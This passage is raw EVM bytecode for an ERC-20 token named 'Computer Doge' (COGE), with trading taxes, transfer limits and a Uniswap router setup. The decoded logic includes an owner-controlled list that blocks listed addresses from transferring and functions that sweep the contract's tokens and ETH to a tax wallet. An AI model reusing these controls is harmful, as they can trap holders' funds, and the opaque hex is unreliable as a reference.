fffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa49061349f565b60405180910390fd5b5f8111611aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae69061352d565b60405180910390fd5b5f5f9050611afb61124a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b695750611b3961124a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120ab5760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611c0c575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611c14575f5ffd5b5f600e5403611c5c57611c596064611c4b600a54600e5411611c3857600654611c3c565b6008545b8561269090919063ffffffff16565b61270790919063ffffffff16565b90505b5f600e541115611c9157611c8e6064611c80600d548561269090919063ffffffff16565b61270790919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d3a575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d8d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e8557600f54821115611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dce90613595565b60405180910390fd5b60105482611de485610f7b565b611dee91906135b3565b1115611e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2690613630565b60405180910390fd5b611e6b6064611e5d600a54600e5411611e4a57600654611e4e565b6008545b8561269090919063ffffffff16565b61270790919063ffffffff16565b9050600e5f815480929190611e7f9061364e565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f0d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f5157611f4e6064611f40600b54600e5411611f2d57600754611f31565b6009545b8561269090919063ffffffff16565b61270790919063ffffffff16565b90505b5f611f5b30610f7b565b9050601460159054906101000a900460ff16158015611fc6575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611fde5750601460169054906101000a900460ff165b8015611feb575060115481115b8015611ffa5750600c54600e54115b156120a957601654431115612011575f6015819055505b600360155410612056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204d906136df565b60405180910390fd5b61207361206e8461206984601254612750565b612750565b6123bd565b5f4790505f8111156120895761208847612628565b5b60155f81548092919061209b9061364e565b919050555043601681905550505b505b5f8111156121aa576121038160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461276890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121a19190612a1d565b60405180910390a35b6121fa8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127c590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061229d61225182846127c590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461276890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61234084866127c590919063ffffffff16565b60405161234d9190612a1d565b60405180910390a350505050565b5f8383111582906123a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239991906128df565b60405180910390fd5b505f83856123b091906136fd565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123f4576123f3612abe565b5b6040519080825280602002602001820160405280156124225781602001602082028036833780820191505090505b50905030815f8151811061243957612438612fa7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124dd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125019190613050565b8160018151811061251557612514612fa7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257b3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461180e565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125dd9594939291906137e7565b5f604051808303815f87803b1580156125f4575f5ffd5b505af1158015612606573d5f5f3e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561268c573d5f5f3e3d5ffd5b5050565b5f5f83036126a0575f9050612701565b5f82846126ad9190612f66565b90508284826126bc919061386c565b146126fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f39061390c565b60405180910390fd5b809150505b92915050565b5f61274883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061280e565b905092915050565b5f81831161275e5782612760565b815b905092915050565b5f5f828461277691906135b3565b9050838110156127bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b290613974565b60405180910390fd5b8091505092915050565b5f61280683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061235b565b905092915050565b5f5f83118290612854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284b91906128df565b60405180910390fd5b505f8385612862919061386c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6128b18261286f565b6128bb8185612879565b93506128cb818560208601612889565b6128d481612897565b840191505092915050565b5f6020820190508181035f8301526128f781846128a7565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61293982612910565b9050919050565b6129498161292f565b8114612953575f5ffd5b50565b5f8135905061296481612940565b92915050565b5f819050919050565b61297c8161296a565b8114612986575f5ffd5b50565b5f8135905061299781612973565b92915050565b5f5f604083850312156129b3576129b2612908565b5b5f6129c085828601612956565b92505060206129d185828601612989565b9150509250929050565b5f8115159050919050565b6129ef816129db565b82525050565b5f602082019050612a085f8301846129e6565b92915050565b612a178161296a565b82525050565b5f602082019050612a305f830184612a0e565b92915050565b5f5f5f60608486031215612a4d57612a4c612908565b5b5f612a5a86828701612956565b9350506020612a6b86828701612956565b9250506040612a7c86828701612989565b9150509250925092565b5f60ff82169050919050565b612a9b81612a86565b82525050565b5f602082019050612ab45f830184612a92565b92915050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612af482612897565b810181811067ffffffffffffffff82111715612b1357612b12612abe565b5b80604052505050565b5f612b256128ff565b9050612b318282612aeb565b919050565b5f67ffffffffffffffff821115612b5057612b4f612abe565b5b602082029050602081019050919050565b5f5ffd5b5f612b77612b7284612b36565b612b1c565b90508083825260208201905060208402830185811115612b9a57612b99612b61565b5b835b81811015612bc35780612baf8882612956565b845260208401935050602081019050612b9c565b5050509392505050565b5f82601f830112612be157612be0612aba565b5b8135612bf1848260208601612b65565b91505092915050565b5f60208284031215612c0f57612c0e612908565b5b5f82013567ffffffffffffffff811115612c2c57612c2b61290c565b5b612c3884828501612bcd565b91505092915050565b5f60208284031215612c5657612c55612908565b5b5f612c6384828501612956565b91505092915050565b612c758161292f565b82525050565b5f602082019050612c8e5f830184612c6c565b92915050565b5f5f60408385031215612caa57612ca9612908565b5b5f612cb785828601612956565b9250506020612cc885828601612956565b9150509250929050565b5f60208284031215612ce757612ce6612908565b5b5f612cf484828501612989565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612d31602083612879565b9150612d3c82612cfd565b602082019050919050565b5f6020820190508181035f830152612d5e81612d25565b9050919050565b5f819050919050565b5f819050919050565b5f612d91612d8c612d8784612d65565b612d6e565b61296a565b9050919050565b612da181612d77565b82525050565b5f602082019050612dba5f830184612d98565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115612e4257808604811115612e1e57612e1d612dc0565b5b6001851615612e2d5780820291505b8081029050612e3b85612ded565b9450612e02565b94509492505050565b5f82612e5a5760019050612f15565b81612e67575f9050612f15565b8160018114612e7d5760028114612e8757612eb6565b6001915050612f15565b60ff841115612e9957612e98612dc0565b5b8360020a915084821115612eb057612eaf612dc0565b5b50612f15565b5060208310610133831016604e8410600b8410161715612eeb5782820a905083811115612ee657612ee5612dc0565b5b612f15565b612ef88484846001612df9565b92509050818404811115612f0f57612f0e612dc0565b5b81810290505b9392505050565b5f612f268261296a565b9150612f3183612a86565b9250612f5e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e4b565b905092915050565b5f612f708261296a565b9150612f7b8361296a565b9250828202612f898161296a565b91508282048414831517612fa057612f9f612dc0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613008601783612879565b915061301382612fd4565b602082019050919050565b5f6020820190508181035f83015261303581612ffc565b9050919050565b5f8151905061304a81612940565b92915050565b5f6020828403121561306557613064612908565b5b5f6130728482850161303c565b91505092915050565b5f60408201905061308e5f830185612c6c565b61309b6020830184612c6c565b9392505050565b5f60c0820190506130b55f830189612c6c565b6130c26020830188612a0e565b6130cf6040830187612d98565b6130dc6060830186612d98565b6130e96080830185612c6c565b6130f660a0830184612a0e565b979650505050505050565b5f8151905061310f81612973565b92915050565b5f5f5f6060848603121561312c5761312b612908565b5b5f61313986828701613101565b935050602061314a86828701613101565b925050604061315b86828701613101565b9150509250925092565b5f6040820190506131785f830185612c6c565b6131856020830184612a0e565b9392505050565b613195816129db565b811461319f575f5ffd5b50565b5f815190506131b08161318c565b92915050565b5f602082840312156131cb576131ca612908565b5b5f6131d8848285016131a2565b91505092915050565b5f602082840312156131f6576131f5612908565b5b5f61320384828501613101565b91505092915050565b5f61322661322161321c84612910565b612d6e565b612910565b9050919050565b5f6132378261320c565b9050919050565b5f6132488261322d565b9050919050565b6132588161323e565b82525050565b5f6040820190506132715f83018561324f565b61327e6020830184612a0e565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6132df602483612879565b91506132ea82613285565b604082019050919050565b5f6020820190508181035f83015261330c816132d3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61336d602283612879565b915061337882613313565b604082019050919050565b5f6020820190508181035f83015261339a81613361565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6133fb602583612879565b9150613406826133a1565b604082019050919050565b5f6020820190508181035f830152613428816133ef565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613489602383612879565b91506134948261342f565b604082019050919050565b5f6020820190508181035f8301526134b68161347d565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613517602983612879565b9150613522826134bd565b604082019050919050565b5f6020820190508181035f8301526135448161350b565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61357f601983612879565b915061358a8261354b565b602082019050919050565b5f6020820190508181035f8301526135ac81613573565b9050919050565b5f6135bd8261296a565b91506135c88361296a565b92508282019050808211156135e0576135df612dc0565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61361a601a83612879565b9150613625826135e6565b602082019050919050565b5f6020820190508181035f8301526136478161360e565b9050919050565b5f6136588261296a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361368a57613689612dc0565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6136c9601783612879565b91506136d482613695565b602082019050919050565b5f6020820190508181035f8301526136f6816136bd565b9050919050565b5f6137078261296a565b91506137128361296a565b925082820390508181111561372a57613729612dc0565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6137628161292f565b82525050565b5f6137738383613759565b60208301905092915050565b5f602082019050919050565b5f61379582613730565b61379f818561373a565b93506137aa8361374a565b805f5b838110156137da5781516137c18882613768565b97506137cc8361377f565b9250506001810190506137ad565b5085935050505092915050565b5f60a0820190506137fa5f830188612a0e565b6138076020830187612d98565b8181036040830152613819818661378b565b90506138286060830185612c6c565b6138356080830184612a0e565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6138768261296a565b91506138818361296a565b9250826138915761389061383f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138f6602183612879565b91506139018261389c565b604082019050919050565b5f6020820190508181035f830152613923816138ea565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61395e601b83612879565b91506139698261392a565b602082019050919050565b5f6020820190508181035f83015261398b81613952565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220486abd3ebc06ad796997e4c497e16804bb3f7e71651f64426a4fcac85918801064736f6c634300081b0033
Deployed Bytecode
0x608060405260043610610184575f3560e01c8063715018a6116100d0578063a9059cbb11610089578063d34628cc11610063578063d34628cc14610509578063dd62ed3e14610531578063ec1f3f631461056d578063fc82f084146105955761018b565b8063a9059cbb1461047b578063bf474bed146104b7578063ccec3716146104e15761018b565b8063715018a6146103a7578063751039fc146103bd5780637d1db4a5146103d35780638da5cb5b146103fd5780638f9a55c01461042757806395d89b41146104515761018b565b8063313ce5671161013d5780633edab509116101175780633edab5091461032957806351bc3c851461033f5780636fc3eaec1461035557806370a082311461036b5761018b565b8063313ce5671461029b57806331c2d847146102c55780633bbac579146102ed5761018b565b806306fdde031461018f578063095ea7b3146101b95780630faee56f146101f5578063109daa991461021f57806318160ddd1461023557806323b872dd1461025f5761018b565b3661018b57005b5f5ffd5b34801561019a575f5ffd5b506101a36105ab565b6040516101b091906128df565b60405180910390f35b3480156101c4575f5ffd5b506101df60048036038101906101da919061299d565b6105e8565b6040516101ec91906129f5565b60405180910390f35b348015610200575f5ffd5b50610209610605565b6040516102169190612a1d565b60405180910390f35b34801561022a575f5ffd5b5061023361060b565b005b348015610240575f5ffd5b506102496106e0565b6040516102569190612a1d565b60405180910390f35b34801561026a575f5ffd5b5061028560048036038101906102809190612a36565b610704565b60405161029291906129f5565b60405180910390f35b3480156102a6575f5ffd5b506102af6107d8565b6040516102bc9190612aa1565b60405180910390f35b3480156102d0575f5ffd5b506102eb60048036038101906102e69190612bfa565b6107e0565b005b3480156102f8575f5ffd5b50610313600480360381019061030e9190612c41565b610902565b60405161032091906129f5565b60405180910390f35b348015610334575f5ffd5b5061033d610954565b005b34801561034a575f5ffd5b50610353610e75565b005b348015610360575f5ffd5b50610369610f0c565b005b348015610376575f5ffd5b50610391600480360381019061038c9190612c41565b610f7b565b60405161039e9190612a1d565b60405180910390f35b3480156103b2575f5ffd5b506103bb610fc1565b005b3480156103c8575f5ffd5b506103d1611111565b005b3480156103de575f5ffd5b506103e7611244565b6040516103f49190612a1d565b60405180910390f35b348015610408575f5ffd5b5061041161124a565b60405161041e9190612c7b565b60405180910390f35b348015610432575f5ffd5b5061043b611271565b6040516104489190612a1d565b60405180910390f35b34801561045c575f5ffd5b50610465611277565b60405161047291906128df565b60405180910390f35b348015610486575f5ffd5b506104a1600480360381019061049c919061299d565b6112b4565b6040516104ae91906129f5565b60405180910390f35b3480156104c2575f5ffd5b506104cb6112d1565b6040516104d89190612a1d565b60405180910390f35b3480156104ec575f5ffd5b5061050760048036038101906105029190612c41565b6112d7565b005b348015610514575f5ffd5b5061052f600480360381019061052a9190612bfa565b611457565b005b34801561053c575f5ffd5b5061055760048036038101906105529190612c94565b61157a565b6040516105649190612a1d565b60405180910390f35b348015610578575f5ffd5b50610593600480360381019061058e9190612cd2565b6115fc565b005b3480156105a0575f5ffd5b506105a9611688565b005b60606040518060400160405280600d81526020017f436f6d707574657220446f676500000000000000000000000000000000000000815250905090565b5f6105fb6105f4611807565b848461180e565b6001905092915050565b60125481565b610613611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069790612d47565b60405180910390fd5b5f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516106d69190612da7565b60405180910390a1565b5f6009600a6106ef9190612f1c565b6461f313f8806106ff9190612f66565b905090565b5f6107108484846119d1565b6107cd8461071c611807565b6107c8856040518060600160405280602881526020016139936028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61077f611807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461235b9092919063ffffffff16565b61180e565b600190509392505050565b5f6009905090565b6107e8611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90612d47565b60405180910390fd5b5f5f90505b81518110156108fe575f60045f84848151811061089a57610899612fa7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061087a565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b61095c611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e090612d47565b60405180910390fd5b60148054906101000a900460ff1615610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e9061301e565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad43060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610abf9190612f1c565b6461f313f880610acf9190612f66565b61180e565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b3e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b629190613050565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c0c9190613050565b6040518363ffffffff1660e01b8152600401610c2992919061307b565b6020604051808303815f875af1158015610c45573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c699190613050565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610cf030610f7b565b5f5f610cfa61124a565b426040518863ffffffff1660e01b8152600401610d1c969594939291906130a2565b60606040518083038185885af1158015610d38573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d5d9190613115565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dfd929190613165565b6020604051808303815f875af1158015610e19573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3d91906131b6565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb5611807565b73ffffffffffffffffffffffffffffffffffffffff1614610ed4575f5ffd5b5f610ede30610f7b565b90505f811115610ef257610ef1816123bd565b5b5f4790505f811115610f0857610f0781612628565b5b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f4c611807565b73ffffffffffffffffffffffffffffffffffffffff1614610f6b575f5ffd5b5f479050610f7881612628565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610fc9611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d90612d47565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611119611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612d47565b60405180910390fd5b6009600a6111b49190612f1c565b6461f313f8806111c49190612f66565b600f819055506009600a6111d89190612f1c565b6461f313f8806111e89190612f66565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61121d9190612f1c565b6461f313f88061122d9190612f66565b60405161123a9190612a1d565b60405180910390a1565b600f5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600481526020017f434f474500000000000000000000000000000000000000000000000000000000815250905090565b5f6112c76112c0611807565b84846119d1565b6001905092915050565b60115481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611317611807565b73ffffffffffffffffffffffffffffffffffffffff1614611336575f5ffd5b5f8190505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113749190612c7b565b602060405180830381865afa15801561138f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b391906131e1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161141192919061325e565b6020604051808303815f875af115801561142d573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061145191906131b6565b50505050565b61145f611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612d47565b60405180910390fd5b5f5f90505b815181101561157657600160045f84848151811061151257611511612fa7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506114f1565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661163c611807565b73ffffffffffffffffffffffffffffffffffffffff161461165b575f5ffd5b600854811115801561166f57506009548111155b611677575f5ffd5b806008819055508060098190555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116c8611807565b73ffffffffffffffffffffffffffffffffffffffff16146116e7575f5ffd5b5f3090505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117259190612c7b565b602060405180830381865afa158015611740573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061176491906131e1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016117c292919061325e565b6020604051808303815f875af11580156117de573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061180291906131b6565b505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361187c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611873906132f5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190613383565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119c49190612a1d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3690613411565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa49061349f565b60405180910390fd5b5f8111611aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae69061352d565b60405180910390fd5b5f5f9050611afb61124a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b695750611b3961124a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120ab5760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611c0c575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611c14575f5ffd5b5f600e5403611c5c57611c596064611c4b600a54600e5411611c3857600654611c3c565b6008545b8561269090919063ffffffff16565b61270790919063ffffffff16565b90505b5f600e541115611c9157611c8e6064611c80600d548561269090919063ffffffff16565b61270790919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d3a575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d8d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e8557600f54821115611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dce90613595565b60405180910390fd5b60105482611de485610f7b565b611dee91906135b3565b1115611e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2690613630565b60405180910390fd5b611e6b6064611e5d600a54600e5411611e4a57600654611e4e565b6008545b8561269090919063ffffffff16565b61270790919063ffffffff